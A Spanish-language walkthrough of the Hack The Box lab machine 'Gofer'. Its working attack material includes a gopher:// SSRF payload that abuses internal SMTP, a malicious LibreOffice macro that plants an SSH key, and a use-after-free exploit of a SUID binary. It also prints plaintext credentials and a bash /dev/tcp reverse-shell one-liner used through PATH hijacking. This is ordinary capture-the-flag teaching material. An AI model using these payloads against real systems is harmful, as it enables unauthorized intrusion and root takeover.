Gofer
Table of contents
- Enumeracion
- SSRF access SMTP y flag de user
- Moviento laterial: jhudson –> tbuckley
- Escalada de privilegios (Use-After-Free + PATH hijacking)
Enumeracion
Iniciamos con un escaneo de nmap con:
nmap -sS -n -Pn -T4 --open -p- 10.10.11.225
sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto
n: para que no haga resolucion DNS y tarde menos el escaneo
Pn: para evitar el descubrimiento de hosts
open: para que solo muestre los puertos abiertos
-p-: para que escanee todo el rango de puertos
Y nos reporto que hay varios puertos abiertos:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Como curiosodad, es que si le quitamos el –open, nos saldra el puerto del SMTP, eso de debe a que nmap regularmente te puede reportar los puertos como abiertos, cerrados, y filtrados
25/tcp filtered smtp
Ahora escanearemos para obtener mas informacion sobre la version y el servicio que estan corriendo bajo esos puertos:
nmap -sCV -p22,25,80,139,445 10.10.11.225
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
| 256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_ 256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp filtered smtp
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to http://gofer.htb/
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2023-09-16T14:41:45
|_ start_date: N/A
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: -12s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
- SSH: No podemos hacer nada interesante
- SMTP: Tampoco es de interes, aun
- HTTP: Vemos usa apache como servidor web, ademeas que nos redirige a gofer.htb (hay que agregarlo al /etc/hosts)
- SMB/NetBIOS: Vemos que uno de los scripts que lanzo nmap es _nbstat, nos dice que el nombre del dominio de NetBIOS es GOFER, tambien nos dice que esta firmado pero no es requerido, eso es un indicio de que podriamos hacer ataques NTML relay (SMB relay attack para SMB), no necesario en esta maquina
Enumeracion SMB
Usare crackmapexec haciendo uso de un null session par enumerar recursos compartidos por SMB:
crackmapexec smb gofer.htb -u '' -p '' --shares
Vemos que solo en el recurso shares tenemos permisos, y son de lectura
Me conectare con smbclient para explorar ese recurso, tambien pueden usar smbmap
smbclient //gofer.htb/shares -N
Lo unico que encontraremos es un directorios y un archivo con el nombre de mail
Haciendo uso de get mail lo descargamos
Analisis del correo
Veremos que es un correo que si lo traducimos al español seria:
Hola chicos
Nuestra querida Jocelyn recibió otro intento de phishing la semana pasada y su costumbre de hacer clic en los enlaces sin prestar mucha atención puede ser problemática algún día. Por eso, a partir de ahora, he decidido que los documentos importantes sólo se envíen internamente, por correo, lo que debería limitar mucho los riesgos. Si es posible, utilice un formato .odt, ya que los documentos guardados en Office Word no siempre son bien interpretados por Libreoffice.
PD: Una última cosa para Tom; sé que estás trabajando en nuestro proxy web, pero si pudieras restringir el acceso, sería más seguro hasta que lo hayas terminado. Me parece que debería ser posible hacerlo a través de <Limit>
Nos dice que Jocelyn recibe correos phishing y les da click. En algunas maquinas se ha visto eso de que el usuario “interactua” con un enlace, etc, y pasan cosas tensas
Tambien nos dice que los correos se utilizara el fomato .odt para cosas importantes
Por ultimo nos dice que se usara un proxy web
Asi que tenemos una interaccion del usuario al dale clicks a enlaces, que los correos usan .odt para que los interprete LibreOficce
Extra: Solamente con ver el nombre de Gofer por todos lados hasta en el nombre de la maquina, me puedo dar una idea de que la maquina este usando el protocolo Gopher, y ese mismo protocolo se ha explotado en otras maquinas usando SSRF, asi que hay cosillas jiji
Si analizamos la parte de encabezados:
From jdavis@gofer.htb Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
by gofer.htb (Postfix) with SMTP id C8F7461827
for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb
Nos dice que el correo fue enviado por jdavis para el destinatario tbuckley (posiblemente usuarios validos), en el received que basicamente es el servidor que envio o retransmitio el correo fue Postfix desde localhost
Fuzzing de directorios y subdominios
Podemos usar wffuzz para enumerar directorios mediante fuerza bruta:
wfuzz -u 'http://gofer.htb/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404
Pero no encontraremos nada interesante, mas que puros assets, asi que probaremos con subdominios
wfuzz -u '10.10.11.225' -H 'Host: FUZZ.gofer.htb' -t 100 -w /usr/share/wordlists/subdomains-top1million-20000.txt --hw=290
Pero saldra puro 301, si pribamos con ffuf, descubriremos proxy.gofer.htb
ffuf -w /usr/share/wordlists/subdomains-top1million-110000.txt -H "Host: FUZZ.gofer.htb" -u http://gofer.htb/ -fl 10
* FUZZ: proxy
Analisis proxy.gofer.htb
Lo primero que tenemos al iniciar es una ventana como popup de un login, si probamos con contraseñas por defecto o intentar un SQLi, no va a ser posible
Interceptare la peticion por burp para ver mas a detalle:
GET / HTTP/1.1
Host: proxy.gofer.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Solamente podemos ver que hace una peticion por GET y poco mas, como curiosidad, el encabezado de Auhorization nos dice que tipo de autenticacion que esta usando, en esta caso es HTTP Basic Authentication y la cadena en b64 son las credenciales que proporcione, y del lado de la respuesta solo es un 401.
Aqui se me ocurrio volver a hacer fuzzing de directorios pero en proxy.gofer.htb y no encontre nada
wfuzz -u 'http://proxy.gofer.htb/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404
Etonces probe buscando por archivos con extensiones .php, pero tampoco encontre nada, asi que se me ocurrio en lugar de usar GET, usar POST para buscar archivos php
wfuzz -u 'http://proxy.gofer.htb/FUZZ.php' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404 -X POST
Y encontre un index.php
200 1 L 10 W 81 Ch "index"
Volvi a interceptar la peticion con burp para anlizarla
Observa que de lado de la peticion que le puse el POST y en la respuesta sale HTTP/1.1 200 OK y en el contenido dice que falta el parametro URL: Missing URL parameter !, por intuicion, el nombre del parametro ya es un indicio de SSRF, ahora el URL le pasare la direccion de localhost y vean la respuesta
La peticion se realizo y en la respuesta tenemos que es el sitio web de gofer.htb pero ese sitio web esta internamente en la maquina (127.0.0.1), lo que nos abre una posibilidad a un SSRF
SSRF access SMTP y flag de user
SSRF: Server-side request forgery es una vulnerabilidad que permite a los atancantes realizar peticiones arbitrarias con el fin de acceder a servicios internos de la maquina.
Entonces, recapitulando desde el inicio, tenemos que Jocelyn hace click a los enlaces, un servicio SMTP interno, correos en formato .odt, el protocolo Gopher, un SSRF, y que en otras maquina se puede explotar el protocolo Gopher via SSRF. Si… Todo se esta uniendo jijiji
Para realizar peticiones con Gopher se hace de la siguiente manera: gopher://, asi que realizaremos la peticion de esta manera: /index.php?url=gopher://127.0.0.1
Observa como nos bloquea el 127, pero no es problema, TheHacker Recipes nos da unas formas de hacerle bypass
Si ahora realizamos la peticion de esta menera: /index.php?url=gopher://0x7f000001 ya no veremos que nos bloquea el 127, para hacer unas cuantas pruebas, podemos hacer uso de Gopherus, me guiare de HackTricks y de aca, pero tomando en cuenta que los correos los envia jdavis (jdavis@gofer.htb) y los recibe Jocelyn (jhudson@gofer.htb)
El payload es:
gopher://0x7f000001:25/_HELO gofer.htb%0AMAIL FROM: <jdavis@gofer.htb>%0ARCPT TO: <jhudson@gofer.htb>%0ADATA%0ASubject: <a http://10.10.14.59:8086/prueba> SSRF HERE%0ASSRF AND SMTP%0A.
Y lo que estaria pasando es que mediante el SSRF estamos accediendo al servicio interno de SMTP para enviar un correo a la Jocelyn, y como sabemos que la Jocelyn da click en los enlaces, en el Subject agregamos nuestra IP con un archivo de /prueba que sera solicitado.
Y observa como nos llego una peticion que viene de la maquina hacía el recurso /prueba
Y ahora la pregunta es: ¿Como conseguimos una reverse shell? o ¿Como conseguimos RCE?, pues en el correo que vimos al principio, decia que los correos importantes se deberian de enviar con formato .odt, osea el formato por defecto de libreoffice, y ese archivo seria interpretado, pues bien, lo que podemos hacer es que crear un archivo .odt con una macro, la cual nos establezca una conexion al abrir el .odt
Para crear un .odt malicioso pueden guiarse de aqui: https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html
En mi caso creare esta macro ya que el tipico oneliner de bash no me funciono, muchas gracias a xD4nt3 por la ayuda con la macro:
Sub Main
Shell("curl <tu_ip>:8086/id_rsa.pub -o /home/jhudson/.ssh/authorized_keys")
End Sub
Simplemente modificamos el exploit que usamos anteriormente y en lugar de que se solicité /prueba, se solicitará ese .odt malicioso (/shell.odt, por ejemplo)
Pasando un momento, nos llegara una peticion a nuestro servidor web de python solicitando el archivo .odt, y ahora ya podemos acceder como jhudson por SSH, por que nuestro id_rsa.pub se hizo el authorized_keys de jhudson
Moviento laterial: jhudson –> tbuckley
Podriamos a empezar a enumerar por binarios SUID, permisos de nivel de sudoers, capabilities, etc, etc, pero no va por ahi, en este punto decidi usar pspy64 para ver si hay algun proceso interesante, asi que me pase el binario a la maquina victima
python3 -m http.server 8086 --> maquina atacante
wget <tu_IP>:8086/pspy64 --> maquina victima
Viendo los resultados, nos damos cuenta que hay un proceso de un script que envia una peticion con curl a proxy.gofer.htb y hay unas credenciales
usr: tbuckley
pass: ooP4dietie3o_hquaeti
Si las probamos por SSH, son validas
Y ya somos tbuckley
Escalada de privilegios (Use-After-Free + PATH hijacking)
Si buscamos por binarios SUID, encontraremos uno que se llama notes:
find / -perm -u=s -type f 2>/dev/null
Si vemos el tipo de archivo, nos sale que es un binario ELF, asi que me lo pasare a mi maquina para anlizarlo con ghidra:
Codigo completo
void main(void)
{
__uid_t _Var1;
int iVar2;
undefined4 local_1c;
void *local_18;
void *local_10;
local_1c = 0;
local_10 = (void *)0x0;
local_18 = (void *)0x0;
do {
puts(
"========================================\n1) Create an user and choose an username\n2) Show user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) Save a note (not y et implemented)\n7) Delete a note\n8) Backup notes\n9) Quit\n=============================== =========\n\n"
);
printf("Your choice: ");
__isoc99_scanf(&DAT_0010212b,&local_1c);
puts("");
switch(local_1c) {
default:
/* WARNING: Subroutine does not return */
exit(0);
case 1:
local_10 = malloc(0x28);
if (local_10 == (void *)0x0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
memset(local_10,0,0x18);
memset((void *)((long)local_10 + 0x18),0,0x10);
_Var1 = getuid();
if (_Var1 == 0) {
*(undefined4 *)((long)local_10 + 0x18) = 0x696d6461;
*(undefined *)((long)local_10 + 0x1c) = 0x6e;
}
else {
*(undefined4 *)((long)local_10 + 0x18) = 0x72657375;
}
printf("Choose an username: ");
__isoc99_scanf(&DAT_00102144,local_10);
puts("");
break;
case 2:
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
printf("\nUsername: %s\n",local_10);
printf("Role: %s\n\n",(long)local_10 + 0x18);
}
break;
case 3:
if (local_10 != (void *)0x0) {
free(local_10);
}
break;
case 4:
local_18 = malloc(0x28);
memset(local_18,0,0x28);
if (local_18 == (void *)0x0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Write your note:");
__isoc99_scanf(&DAT_0010218b,local_18);
break;
case 5:
printf("Note: %s\n\n",local_18);
break;
case 6:
puts("Coming soon!\n");
break;
case 7:
if (local_18 != (void *)0x0) {
free(local_18);
local_18 = (void *)0x0;
}
break;
case 8:
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
if (iVar2 == 0) {
puts("Access granted!");
setuid(0);
setgid(0);
system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
}
else {
puts("Access denied: you don\'t have the admin role!\n");
}
}
}
} while( true );
}
Vemos que tenemos un case de 8, en el caso 1, tenemos que se asignan 0x28 bytes usando malloc: local_10 = malloc(0x28) que se almacenan en local_10
Problema 1:
Observa el case 3 el uso de free:
case 3:
if (local_10 != (void *)0x0) {
free(local_10);
}
break;
Primero se valida que local_10 no tenga 0, y en caso de que no, osea que tenga memoria asignada, hace un free de local_10 y entonces ese chunk se marca como libre para otras asignaciones, el problema es que no hace nada mas, osea que local_10 no se restablece para que apunte de NULL, y entonces local_10 aun apunta a ese chunk
- Problema 2:
case 4:
local_18 = malloc(0x28);
memset(local_18,0,0x28);
if (local_18 == (void *)0x0) {
exit(-1);
}
En el case 4 se asigna otro chunk y lo guarda en local_18, pero debido a lo analizado en el problema 1, en realidad local_10 y local_18 apuntarian al mismo chunk, asi nosotros podriamos escribir tantos byes para sobreescribir local_10
- Case 8:
Una vez que sabemo que podemos sobreescribir local_10, hay que buscar una forma de hacernos admin para ejectuar esta funcion:
case 8:
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
if (iVar2 == 0) {
puts("Access granted!");
setuid(0);
setgid(0);
system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
}
else {
puts("Access denied: you don\'t have the admin role!\n");
}
}
Vemos que compara (char *)((long)local_10 + 0x18), esto es el resultado de calcular lo que se encuentra en local_10 mas 0x18 bytes (24) y lo compara con admin y en caso que se la comparacion sea correcta, se establece un setgid(0); para el proceso actual
¿Entonces comos hacemos admin
- Primero creamos un usuario con la opcion 1, esto creara un chunk
- Despues liberamos al usuario con la opcion 3, esto hara que local_10 aun apunte a ese chunk por que no se restablecio con NULL
- Seleccionamos la opcion 4 y crearemos una nota de 24 bytes mas la palabra admin, esto hara que se sobreescriba loca_10 y ahora el usuario sea admin
Si hicimos todo bien, veran como ya somos admin
Path Hijacking
Como ya somos admin, ya podemos ejecutar el case 8, y observa que en ese case hace uso de system para mandar a llamar a tar, pero lo esta haciendo desde una ruta relativa, asi que nosotros podemos crear un archivo con ese mismo nombre y que ejecute otro comando, en mi caso me ire al directorio tmp y creare un archivo con el nombre de tar con el tipico oneliner de bash
bash -c "sh -i >& /dev/tcp/<tu_ip>/443 0>&1"
Despues exportare tmp al PATH: export PATH=/tmp:$PATH
Y por ultimo me pondre en escucha desde otra terminal y volvere a ejecutar el binario notes para hacerme admin y ejecutar el case 8
Oberva como nos llego una shell como root y del lado derecho nos dice Acess granted:
No hacia falta mandarnos un rev shell, simplemente puden darle permisos SUID la bash, asi:
#!/bin/bash
chmod u+s /bin/bash
Y despues ejectuar un bash -p
Eso ha sido todo, gracias por leer ❤